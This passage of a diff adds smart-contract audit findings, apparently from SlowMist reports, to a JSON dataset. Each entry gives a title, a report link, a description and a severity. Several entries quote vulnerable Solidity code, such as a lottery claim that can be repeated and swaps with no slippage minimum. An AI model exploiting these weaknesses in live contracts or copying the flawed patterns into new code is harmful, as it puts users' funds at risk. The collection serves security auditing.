useless. Malicious users can steal bPool funds through _makeSwap and bind malicious tokens. The approve function also has this risk, but it doesn't break the protocol too much ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Risk of the Manager role potentially disrupting the protocol", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. But unfortunately, the swap path of the token is not checked during the token swap process, which will cause the Manager role to pass in a carefully constructed malicious swap path to steal the middle token0 of the ETF. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Double slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. It will use the _makeSwap function to call Uniswap, 1inch and other DEXs for token swaps to adjust token positions. During the swap process, the slippage will be checked by passing minReturn to the external DEXs, but the implementation of the slippage check of the external DEXs is uncontrollable. If the slippage protection of the external DEXs fails, it will aect the funds of users in the protocol. (1inch users encountered invalid slippage check before) ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Does not follow the Checks-Eects-Interactions specication", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the _makeSwap function is used for token swap. When the swap type is not UNISWAPV3 and UNISWAPV2, the parameters passed in by the user will be checked through _validateData . However, the execute operation is performed rst, and the _validateData operation is performed after the token exchange is completed. This is not in line with the follow the Checks-Effects-Interactions principle. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Perform strict parameter checking", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the exchange parameters, but it only parses the recipient and amountIn for checking, but does not check whether other key parameters such as srcToken, dstToken, clipperExchange, makerAsset, takerAsset are in line with expectations. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant aggregator parameter", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the _validateData function is used to check the conversion parameters, but the aggregator parameter it receives is not used. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Incorrect approval operation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the RebalanceAdapter contract, the Manager role can adjust the position of the ETF through the rebalance function. If token1 has not been bound in bPool, it will be approved rst. However, the subsidy of this contract was wrongly approved to bPool, which will cause bPool to be unable to transfer tokens from CRP in the future. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "There is an execute function in the CRP and bPool contracts so that the Manager can manage the ETF. In bFactory, the Blabs role can arbitrarily register modules to gain control over CRP. The registered modules can use the execute function in CRP to call the execute function in bPool to perform any operations. This would pose a huge risk to users' funds. And the Manager can approve the tokens in the bPool through the approve function of the RebalanceAdapter contract, which will also bring huge risks to the user's funds. The above problems lead to the risk of excessive permissions of the Blabs role and the Manager role. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Authority Control Vulnerability Audit", + "Severity: High" + ] + }, + { + "title": "Enforce strict permission controls", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Desyn Phase3 - SlowMist Audit Report.pdf", + "body": "In the LiquidityPool contract, any user can call the joinPool, exitPool, and gulp functions to add/remove liquidity/record token balances, which will make it impossible to charge various fees to users in CRP. ", + "labels": [ + "SlowMist", + "Desyn Phase3 - SlowMist Audit Report", + "Type: Design Logic Audit", + "Severity: Medium" + ] + }, + { + "title": "Index conict issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "In the MIM strategy of ENF_V3, the getPID function is used to obtain the pool id of the specied LP token in ConvexBooster. Returns the current index if the match is successful, otherwise returns the 0 index. However, there is a corresponding LP (Curve. cDAI/cUSDC) conguration for the 0 index in ConvexBooster, which will make it impossible for the caller to determine whether the return of the 0 index is due to a matching failure or LP tokens in the 0 pool of ConvexBooster. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Visibility issue with getPID function", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "There is a getPID function with public visibility in the MIM strategy of ENF_V3, but this function is not called by other functions in this contract, so using public visibility will consume more gas than external visibility. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Read-only reentrancy checks subject to rounding errors", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "In the StETH contract in ENF_ETH_Lowrisk, the remove_liquidity_one_coin function will be called during the deposit and withdraw operations to avoid virtual price manipulation. However, the remove_liquidity_one_coin operation does not always succeed due to rounding errors in the calculation of _get_y_D . ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Slippage check issue when Vault gets totalAssets", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "In the Vault contract of ENF_ETH_Lowrisk, the totalAssets function is used to obtain the total assets held by the protocol, which will be counted by calling the totalAssets function of each SS contract. In the FrxETH strategy, in order to ensure that the amount of totalAssets obtained has not been manipulated, a slippage check will be performed according to the fetch ag. Fetch is passed as true in the Vault contract, which will ignore the slippage check. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Design Logic Audit", + "Severity: Low" + ] + }, + { + "title": "Logic optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "In the FrxETH contract of ENF_ETH_Lowrisk, there are some functions to convert between share and asset through the totalSupply and totalAssets values of sFrx. However, these interfaces have been provided in the sFrx contract, and the calculated decimal is more accurate. Here is some alternative logic: The frxBal calculation in _totalAssets function can be done by ISfrx(sFrx).convertToAssets(sFrxBal) The lastEarnPrice calculation in _deposit function can be done by ISfrx(sFrx).pricePerShare() The currentPrice calculation in harvest function can be done by ISfrx(sFrx).pricePerShare() ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Swap optimization from ETH to FrxETH", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Earning.Farm_Phase6_en-us.pdf", + "body": "In the FrxETH contract of ENF_ETH_Lowrisk, the _deposit function will select the optimal exchange path according to the price of CurvePool. When the amount exchanged by CurvePool is greater than or equal to _amount (curveExpect >= _amount), it will exchange tokens through CurvePool . If curveExpect == _amount , converting through CurvePool may consume more gas than minting through frxMinter. ", + "labels": [ + "SlowMist", + "Earning.Farm_Phase6", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "Ether is not accepted by default, which is a redundant code. cross-send/contracts/CrossSend.sol#L41-L47 initial-hotcross-oering/contracts/BaseIHO.sol#L67-L73 fallback () external payable { revert(\"cannot directly accept currency transfers\"); } receive () external payable { revert(\"cannot directly receive currency transfers\"); 15 }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Gas optimization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "If one of the batch transfers fails, the transaction that was previously transferred normally will be reverted, but Gas has been consumed. It is a gas optimization issue here. cross-send/contracts/CrossSend.sol#L175-L210 function sendToken( IERC20 token, address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; for (uint256 i = 0; i < recipients.length ; i++) { require(_msgSender() != recipients[i], \"sender != recipient\"); token.safeTransferFrom(_msgSender(), recipients[i], amounts[i]); total += amounts[i]; } return total; } function sendNative( address[] memory recipients, uint256[] memory amounts ) private returns(uint256) { uint256 total = 0; 16 for (uint256 i = 0; i < recipients.length ; i++) { total += amounts[i]; (bool success, ) = payable(recipients[i]).call{value: amounts[i]}(\"\"); require(success, \"native transfer failed\"); } return total; }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Gas Optimization Audit", + "Severity: Suggestion" + ] + }, + { + "title": "Risk of allowance amount abuse", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "There have an allowance amount in the contract, but the distributeTokenFee function does not limit the caller, and there is an issue of being called arbitrarily, but it can only transfer the balance of the sender to the feeCollector. cross-send/contracts/fee-managers/RecipientCountFee.sol#L65-L83 function distributeTokenFee( uint256 txRecipientCount, uint256, uint256, uint256, uint256, address sender ) public override { uint256 payableFee = txRecipientCount * tokenFeePerRecipient; 17 if(payableFee < minTokenFee) { payableFee = minTokenFee; } else if (payableFee > maxTokenFee) { payableFee = maxTokenFee; } token.safeTransferFrom(sender, feeCollector, payableFee); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Price manipulation issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "The IOUPrice is calculated using totalFarmingTokenBalance. Attackers can control totalFarmingTokenBalance to manipulate IOUPrice. The current code does not nd the location where IOUPrice is used. Referencehttps://slowmist.medium.com/cream-hacked-analysis-us-130-million-hacked-95c9410320ca cross-yield/contracts/core/CrossYield.sol#L95-L101 function IOUPrice() public view returns (uint256) { uint256 IOUSupply = totalSupply(); return IOUSupply == 0 ? 1e18 : (totalFarmingTokenBalance() * 1e18) / IOUSupply; } 18 cross-yield/contracts/core/CrossYield.sol#L65-L67 function totalFarmingTokenBalance() public view returns (uint256) { return farmingToken().balanceOf(address(this)) + strategy.balanceOf(); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Others", + "Severity: Medium" + ] + }, + { + "title": "Sandwich attacks issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "There is no slippage check during swap, and there is a risk of sandwich attack. IPancakeRouter02(pcsRouter).swapExactTokensForTokens(cakeBalance, 0,cakeToBaseRoute, address(this), block.timestamp); IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); Reference https://medium.com/coinmonks/demystify-the-dark-forest-on-ethereum-sandwich-attacks-5a3aec9fa33e cross-yield/contracts/libs/OptimalSwap.sol#L14-L63 function prepareLiquidity( address cake, address[2] memory lpTokens, 19 address wbnb, address busd, address farmingToken, address pcsRouter, uint256 fee ) external { uint256 cakeBalance = IERC20(cake).balanceOf(address(this)); bool isCakeInLp = lpTokens[0] == cake || lpTokens[1] == cake; bool isWbnbBased = lpTokens[0] == wbnb || lpTokens[1] == wbnb; address baseToken = isWbnbBased ? wbnb : busd; // if cake is not part of the lp token, swap all cake for the base token if (!isCakeInLp) { address[] memory cakeToBaseRoute = new address[](2); cakeToBaseRoute[0] = cake; cakeToBaseRoute[1] = baseToken; IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(cakeBalance, 0, cakeToBaseRoute, address(this), block.timestamp); } (uint256 reserve0, uint256 reserve1,) = IPancakePair(farmingToken).getReserves(); address[] memory route = new address[](2); uint256 lp0Bal = IERC20(lpTokens[0]).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpTokens[1]).balanceOf(address(this)); uint256 toSwap; // The possible cases here are: // - Cake was not part of the LP token, so we swap for baseToken which could either be lpToken0 or lpToken // - Cake was part of the LP token, so it can either be lpTokens[0] or lpTokens[1] // So, depending on which token we have the highest balance for, we swap for the other one. if (lp0Bal > lp1Bal) { toSwap = SwapAmount.getSwapAmount(lp0Bal, reserve0, fee); route[0] = lpTokens[0]; route[1] = lpTokens[1]; } else { toSwap = SwapAmount.getSwapAmount(lp1Bal, reserve1, fee); route[0] = lpTokens[1]; route[1] = lpTokens[0]; 20 } // Perform the swap IPancakeRouter02(pcsRouter) .swapExactTokensForTokens(toSwap, 0, route, address(this), block.timestamp); } IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); cross-yield/contracts/strategies/StrategyCake.sol#L131 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(farmingToken).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); // collectFees is called indirectly from the CrossYield contract via the beforeDeposit hook. // This means that _msgSender() is the CrossYield contract and not the actuall EOA account // that send the transaction IERC20(wbnb).safeTransfer(tx.origin, harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); // IERC20(wbnb).safeTransfer(protocolFeeRecipient, protocolFeeAmount); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, 21 harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCakeLP.sol#L174 function collectFees() internal { // a percentant of the cake we get from the masterchef will be used to buy BNB and transfer to this address // this is the total fees that will be shared amongst the protocol, stategy dev and the harvester uint256 toWbnb = feeManager.calculateTotalFee(IERC20(cake).balanceOf(address(this))); IPancakeRouter02(pcsRouter).swapExactTokensForTokens(toWbnb, 0, cakeToWbnbRoute, address(this), block.timestamp); uint256 wbnbBal = IERC20(wbnb).balanceOf(address(this)); // distribute hervester fee uint256 harvesterFeeAmount = feeManager.calculateHarvestFee(wbnbBal); IERC20(wbnb).safeTransfer(_msgSender(), harvesterFeeAmount); // distribute protocol fee uint256 protocolFeeAmount = feeManager.calculateProtocolFee(wbnbBal); feeProcessor.process(protocolFeeAmount); // distribute strategy dev fee uint256 strategyDevFeeAmount = feeManager.calculateStrategyDevFee(wbnbBal); IERC20(wbnb).safeTransfer(feeManager.strategyDev(), strategyDevFeeAmount); emit FeeCollected( toWbnb, harvesterFeeAmount, protocolFeeAmount, strategyDevFeeAmount, _msgSender() ); } cross-yield/contracts/strategies/StrategyCake.sol 22 function harvest() public override whenNotPaused { // claim rewards IMasterChef(masterchef).leaveStaking(0); // because harvest can automatically be called after each user deposit // we might end up having multiple deposits in the same block and only one // would return rewards from masterchef so the rest will have 0 cake so // we don't need to waste gas to collect fees and call deposit uint256 farmingTokenBalance = balanceOfFarmingToken(); if(farmingTokenBalance > 0) { collectFees(); deposit(); emit HarvestTriggered(_msgSender(), farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCakeLP.sol#l137-L148 function harvest() external override whenNotPaused { // claim rewards IMasterChef(masterchef).deposit(poolId, 0); uint256 harvestedAmount = IERC20(cake).balanceOf(address(this)); collectFees(); addLiquidity(); deposit(); emit HarvestTriggered(_msgSender(), harvestedAmount); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Reordering Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Missing slippage check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "The addLiquidity function without slippage check, it doesn't have an impermanent loss check. cross-yield/contracts/strategies/StrategyCakeLP.sol#L218 function addLiquidity() internal { OptimalSwap.prepareLiquidity( cake, [lpToken0, lpToken1], wbnb, busd, farmingToken, pcsRouter, swapFee ); // add liquidity to AMM on PCS uint256 lp0Bal = IERC20(lpToken0).balanceOf(address(this)); uint256 lp1Bal = IERC20(lpToken1).balanceOf(address(this)); IPancakeRouter02(pcsRouter) .addLiquidity(lpToken0, lpToken1, lp0Bal, lp1Bal, 0, 0, address(this), block.timestamp); emit LiquidityAdded(lpToken0, lpToken1, lp0Bal, lp1Bal, _msgSender()); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Reordering Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Permission check Missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "There is no permission check for deposit function. The function is called by the CrossYieid contract. cross-yield/contracts/strategies/StrategyCakeLP.sol#L225-L231 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).deposit(poolId, farmingTokenBalance); } } cross-yield/contracts/strategies/StrategyCake.sol#L169-L175 function deposit() public override whenNotPaused { uint256 farmingTokenBalance = balanceOfFarmingToken(); if (farmingTokenBalance > 0) { IMasterChef(masterchef).enterStaking(farmingTokenBalance); } }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "Excessive authority issue 25", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "Owner can modify the address of the strategy. The new strategy may have security risks if it is not audited, which will aect the user's funds. If the private key is leaked, it will aect the user's funds. cross-yield/contracts/core/CrossYield.sol#L224-L236 function upgradeStrategy() public onlyOwner { require(stratCandidate.strategy != address(0), \"No proposal exists\"); require(block.number > stratCandidate.proposedBlock + stratUpgradableAfter, \"Strategy cannot be replaced yet\"); emit NewStrategy(stratCandidate.strategy); strategy.retireStrategy(); strategy = IStrategy(stratCandidate.strategy); stratCandidate.strategy = address(0); stratCandidate.proposedBlock = 0; putFundsToWork(); } cross-yield/contracts/core/CrossYield.sol#L211-L220 function proposeStrategy(address _strategy) public onlyOwner { require(address(this) == IStrategy(_strategy).vault(), \"Invalid new strategy\"); stratCandidate = StrategyCandidate({ strategy: _strategy, proposedBlock: block.number }); emit NewStratCandidate(_strategy); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Authority Control Vulnerability", + "Severity: Medium" + ] + }, + { + "title": "Repeatable claims issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "After the claim, lottery.status is not set as claimed, and it is also necessary to check whether lotteryId has been claimed when the claim is executed. hotdrop/contracts/HotDrop.sol#L261-L274 function claim(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.WinnerDrawn, \"winner not drawn\"); // if there is no winner transfer the total amount to the treasury if(tickets[lotteryId][lottery.winningNumber] == address(0)) { lottery.purchaseToken.safeTransfer(treasury, lottery.purchaseToken.balanceOf(address(this))); } else if(tickets[lotteryId][lottery.winningNumber] == _msgSender()) { // if the ticket is the winning ticket and belongs to the user then split the pot uint256 treasuryAmount = (lottery.totalRaised * lottery.treasuryFee) / FEE_BASE; lottery.purchaseToken.safeTransfer(treasury, treasuryAmount); lottery.purchaseToken.safeTransfer(_msgSender(), lottery.totalRaised - treasuryAmount); } }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Design Logic Audit", + "Severity: Critical" + ] + }, + { + "title": "Round plan security reminder", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cross Yield V1.0.0_en-us.pdf", + "body": "And the new round of lottery can only be opened when the last round of lottery is in WinnerDrawn, otherwise randomGenerator.latestLotteryId will be updated, which will cause the old lottery round to fail to execute drawWinner function due to this check. require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); hotdrop/contracts/HotDrop.sol#L44-L256 function drawWinner(uint256 lotteryId) external nonReentrant { Lottery storage lottery = lotteries[lotteryId]; require(lottery.status == Status.Close, \"lottery still active\"); require(lotteryId == randomGenerator.latestLotteryId(), \"numbers not drawn\"); // get the winning number based on the randomResult generated by ChainLink's fallback uint256 winningNumber = randomGenerator.randomResult(); lottery.winningNumber = winningNumber; lottery.status = Status.WinnerDrawn; emit LotteryNumberDrawn(lotteryId, winningNumber); }", + "labels": [ + "SlowMist", + "Cross Yield V1.0.0", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Re-initialize issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cook Distribution and Reward_en-us.pdf", + "body": "In RewardVesting contract, the Governance role can re-initialize the the contract through initialize function Location function initialize(IERC20 _cookReward) external onlyGovernance { cookReward = _cookReward; }", + "labels": [ + "SlowMist", + "Cook Distribution and Reward", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Missing authority check 7", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Cook Distribution and Reward_en-us.pdf", + "body": "The addEarning function exists in the RewardVesting contract. When the claim operation is performed in the StakingPool contract, if the corresponding reward needs to be time locked, the addEarning function of the RewardVesting contract will be called to perform the locking operation. However, the visibility of this function is external, which will cause any user to perform the addEarning operation. function addEarning(address user, uint256 amount, uint256 durationInSecs) external { _addPendingEarning(user, amount, durationInSecs); cookReward.safeTransferFrom(msg.sender, address(this), amount); }", + "labels": [ + "SlowMist", + "Cook Distribution and Reward", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "Code x situation", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/Penpie Contracts Exploit Fixes - SlowMist Audit Report_en-us.pdf", + "body": "In the x, the project team used OpenZeppelin's ReentrancyGuard library to modify the harvestMarketReward and batchHarvestMarketRewards functions in the PendleStaking contract to address the issue of reentering depositMarket. Additionally, they restricted the registerPool function in the PendleStaking contract to be callable only by the owner role to ensure that newly registered pools are reviewed. ", + "labels": [ + "SlowMist", + "Penpie Contracts Exploit Fixes - SlowMist Audit Report", + "Type: Others", + "Severity: Information" + ] + }, + { + "title": "4.3.1.1 Risk of repeated contract initialization", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyMasterV1 contract, the owner can initialize the contract through the initialize function to set the address of key parameters such as SMTYToken, startTime, and communityAddr. However, there is no restriction on the initialize function to prevent repeated initialization calls, which will cause the owner role to repeatedly initialize the contract through the initialize function. The same goes for VotingEscrow and SmoothyV1 contracts. Fix suggestion: It is suggested to restrict the initialization function that does not allow repeated calls. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: High" + ] + }, + { + "title": "4.3.2.1 Risk of excessive authority", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SMTYToken contract, the minter role can mint tokens arbitrarily through the mint function. The owner role can arbitrarily modify the minter role address through the changeMinter function, which 10 will lead to the risk of excessive owner authority. Fix suggestion: It is suggested to transfer the owner authority to community governance. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Medium" + ] + }, + { + "title": "4.3.2.2 Denial of Service Risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyMasterV1 contract, the user can update all pools through the massUpdatePools function, but it uses the for loop to update cyclically. If the number of pools exceeds too much, it will cause a DoS risk. Fix suggestion: It is suggested to limit the number of pools to avoid this problem. function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } Fix status: No Fixed. 11", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Medium" + ] + }, + { + "title": "4.3.3.1 The lockDuration does not match the lockEnd", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyMasterV1 contract, the user can extend the mortgage lock period through the extendLock function. When reconfirming the lockDuration, take the new lock duration and the smaller value of MAX_TIME, but in the end, when determining the lockEnd, the _end parameter is still directly passed in. Assigned to lockEnd, if the new lock duration is greater than MAX_TIME, this will cause the lockDuration to not match the lockEnd. Fix suggestion: It is suggested to recalculate lockEnd based on lockDuration. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Low" + ] + }, + { + "title": "4.3.3.1 Inaccurate calculation of LP amount", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyV1 contract, in order to save gas in mint, redeem, and swap operations, the 12 calculation using getMintAmount uses cached data for calculation, which will cause the final calculation result to be inconsistent with expectations. Fix suggestion: Due to project design requirements, it is suggested that the project party manually invoke the update when the update is not performed to avoid this issue. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Low" + ] + }, + { + "title": "4.3.4.1 The change of LP pool weights affects users' income", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyMasterV1 contract, when the Owner calls the add function and the set function to add a new pool or reset the pool weight, all LP pool weights will change accordingly. The Owner can update all pools before adjusting the weight by passing in the _withUpdate parameter with a value of true to ensure that the user's income before the pool weight is changed will not be affected by the adjustment of the pool weight, but if the value of the _withUpdate parameter is false, then All pools will not be updated before the pool weight is adjusted, which will cause the user's income to be affected before the pool weight is changed. Fix suggestion: It is suggested to force all LP pools to be updated before the weights of LP pools are adjusted to avoid the impact of user income. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.2 Loss of precision issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyMasterV1 contract, when using the _updateWorkingAmount function to calculate the number of workingAmount users participate in mining, divide first and then multiply, which will result in loss of accuracy. Fix suggestion: It is suggested to multiply and then divide to avoid this issue ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.3 Unrecoverable issue of pool imbalance", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyV1 contract, when the user performs operations such as recharge, redemption, and exchange, the penalty mechanism will be triggered when the weight of the coin exceeds the soft cap, but the contract does not have an incentive mechanism to perform exchange operations to reduce the proportion of the token pool. If the token pool is maliciously manipulated to exceed the soft cap, it may be difficult for the token pool to return to normal due to no incentive mechanism, which will affect normal business use. 17 Fix suggestion: It is suggested to add an incentive mechanism in an unbalanced state to avoid this problem. ", + "labels": [ + "SlowMist", + "SmoothyV1", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.4 Risk of Potential Token Transfer Failure", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - SmoothyV1_en-us.pdf", + "body": "In the SmoothyV1 contract, when the user deposits the token, the safeTransferFrom function is used to transfer the corresponding token, and the safeTransfer function is used to transfer the token when withdrawToken. The safeTransferFrom function and safeTransfer function will check the returned success and data , If the connected token defines the return value, but does not return according to the EIP20 specification, the user will not be able to pass the check here, resulting in the tokens being unable to be transferred in or out. Fix suggestion: It is suggested that when docking new 